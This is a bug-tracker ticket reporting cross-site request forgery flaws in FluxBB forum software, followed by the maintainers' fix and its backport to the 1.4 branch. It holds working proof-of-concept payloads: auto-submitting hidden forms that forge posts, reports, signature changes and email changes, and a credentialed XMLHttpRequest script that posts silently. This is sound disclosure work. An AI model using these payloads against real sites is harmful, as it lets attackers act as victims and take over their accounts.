Fork me on GitHub
Subscribe 3

Ticket #940 (fixed bug)

Cross-site request forgery issues with FluxBB

  • Created: 2014-01-08 22:59:25
  • Reported by: Kaslai
  • Assigned to: Franz
  • Milestone: 1.5.6
  • Component: security
  • Priority: highest

With the way things currently are, I've successfully crafted XSRF links that can force anyone to post an arbitrary post on any forum, and can force non-admods to do a ton of things, specifically:

    Modify any aspect of their profile such as timezone, signature, and even email if secure email updating is not enabled.
    Post arbitrary posts anywhere on the forum.
    Edit any post they've made.
    Submit bogus reports.

It is also possible to carry out an XSRF attack using only XMLHttpRequest objects, so a potentially malicious site could do an attack completely unnoticed. One could even spam posts on a timer in order to post as many as possible without tripping the flood limiter.

These are some pretty serious issues and I'm surprised they made it this far. All I've done is made confirm_referrer() throw a bad HTTP_REFERER error if the valid script name is an empty string, and the host is different from the forum's base url. I then inserted confirm_referrer(''); wherever one was lacking. The reason why I didn't just do confirm_referrer('scriptname') is because some things (such as posting) are accessible from multiple scripts, so my approach is very flexible. However, it would be vulnerable if there's an unsafe redirect somewhere in the code, though there doesn't appear to be one currently.

I've posted fixes on a GitHub fork.


Proof of concept implementations:

<!--Report spoofing
report = post id-->
<form id="post" name="post" method="post" action="http://localhost/misc.php?report=1">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="req_reason" value="This was against my will" />
<input type="hidden" name="req_message" value="I clicked a malicious link!" />
</form>

<!--Edit spoofing
DOESN'T WORK ON MODS/ADMINS
id = post id-->
<form id="post" name="post" method="post" action="http://localhost/edit.php?id=2">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="req_subject" value="I didn't mean to do this!" />
<input type="hidden" name="req_message" value="I clicked a malicious link!" />
</form>

<!--Post spoofing
ADMODS ARE SUSCEPTIBLE TO THIS
fid = forum id
tid = topic id-->
<form id="post" name="post" method="post" action="http://localhost/post.php?fid=1">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="req_subject" value="I didn't mean to do this!" />
<input type="hidden" name="req_message" value="I clicked a malicious link!" />
</form>

<!--Email spoofing 
DOESN'T WORK ON MODS/ADMINS
ONLY WORKS IF NON-SECURE EMAIL CHANGING IS USED
id = User id-->
<form id="post" name="post" method="post" action="http://localhost/profile.php?id=3&section=essentials">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="req_email" value="pwned@pwned.com" />
<input type="hidden" name="form[timezone]" value="0" />
<input type="hidden" name="form[dst]" value="0" />
<input type="hidden" name="form[time_format]" value="0" />
<input type="hidden" name="form[date_format]" value="0" />
</form>

<!--Signature spoofing 
DOESN'T WORK ON MODS/ADMINS
id = user id-->
<form id="post" name="post" method="post" action="http://localhost/profile.php?id=2&section=personality">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="signature" value="I clicked a malicious link!" />
</form>

<!--automatically submit the form on page load-->
<body onLoad="post.submit();">

Further, with XmlHttpRequest, you don't even have to redirect the user, and it can forge a post behind the scenes:

<script type="text/javascript">
var http = new XMLHttpRequest();
var url = "http://localhost/post.php?fid=1";
var params = "form_sent=1&req_subject=Oh%20no&req_message=I%20clicked%20a%20malicious%20link";
http.open("POST", url, true);

http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");

http.withCredentials = "true";

http.send(params);
</script>

History

Franz 2014-01-08 23:02:30

  • Milestone set to 1.5.6.
  • Priority changed from high to highest.

Thanks for reporting!

Does the XMLHttpRequest trick work across domains?

Kaslai 2014-01-08 23:12:00

I've only tested it on localhost. Want me to try it on a live version of the software? As far as I know, CORS only filters the returned data, not the outgoing request.

Kaslai 2014-01-08 23:13:14

  • Description changed. (Diff)

Franz 2014-01-08 23:16:28

  • Owner set to Franz.

Would be cool to know, thanks!

Kaslai 2014-01-08 23:28:45

Weird, I thought I posted it. Anyways, the attack works via XmlHttpRequest, and I can share a working malicious link if you so choose (It would post to the test forum on clicking it)

Franz 2014-01-08 23:29:39

Commit 66490b1 to fluxbb master

Merge pull request #95 from Aslai/master

#940: Fixed a bunch of XSRF issues

Franz 2014-01-08 23:30:35

  • Status changed from open to fixed.

Okay, I merged the pull request. Thank you very much!

Is the post in the "Test board" your proof? smile

Kaslai 2014-01-08 23:31:24

That's the result of me navigating to my malicious page, yes. You can't post links on the tracker though, and I won't try to obfuscate it since the filter's there for a reason. I'll provide it by email if you ask, and you can have noscript running to prevent the javascript from running to verify it as safe.

Comment edited 1 times (Diff)

Franz 2014-01-08 23:34:56

Try it now. I just updated our site's forums.

Kaslai 2014-01-08 23:37:19

Bad HTTP_REFERER. You were referred to this page from an unauthorized source.

Hooray!

Franz 2014-01-08 23:41:45

  • Visibility set to public.

Beautiful. Let's get the release party started!

And good night to you! I'm done here.

Franz 2014-01-09 00:37:11

Commit d0ceb4e to fluxbb master

#940: Fix referrer confirmation for forums installed in subdirectories.

Franz 2014-01-09 00:51:47

Commit 03a7d30 to fluxbb master

#940: Fix a variable name.

Studio384 2014-01-09 20:53:25

Do we need to push this to 1.4 as 1.4.12? If so, I've got some free time.

Kaslai 2014-01-09 20:59:28

A brief glance at 1.4.11 shows that it is vulnerable as well. I just took a look at post.php, profile.php, and admin_options.php, and it looks like it's vulnerable in the same places for the same reasons. (Admin things are secure, but posting and profile modification aren't)

It's up to you guys if you want to update it though. It could just be a selling point to get people to upgrade smile

Comment edited 1 times (Diff)

Studio384 2014-01-09 21:10:52

Well, we are still supporting our 1.4-branch for security updates, and this is actualy the first that is very likely to be used now it is revealed. There are still a lot of people on 1.4 and some months, FluxBB 1.4 is downloaded more than FluxBB 1.5 (I'm talking about recent months here).

Franz 2014-01-09 22:35:07

Yes, go for it, please.

Studio384 2014-01-10 18:24:35

Commit c56fd04 to fluxbb fluxbb-1.4

#940 Backport XSRF bugfixes from 1.5.6

Studio384 2014-01-10 18:26:01

I've made a pull request.

Studio384 2014-01-10 18:44:23

Commit 24f9ec0 to fluxbb fluxbb-1.4

#940 Delete extra line

Franz 2014-01-15 22:52:10

Commit e1c8532 to fluxbb fluxbb-1.4

Merge pull request #96 from Studio384/fluxbb-1.4

Backport #940 to the 1.4 branch.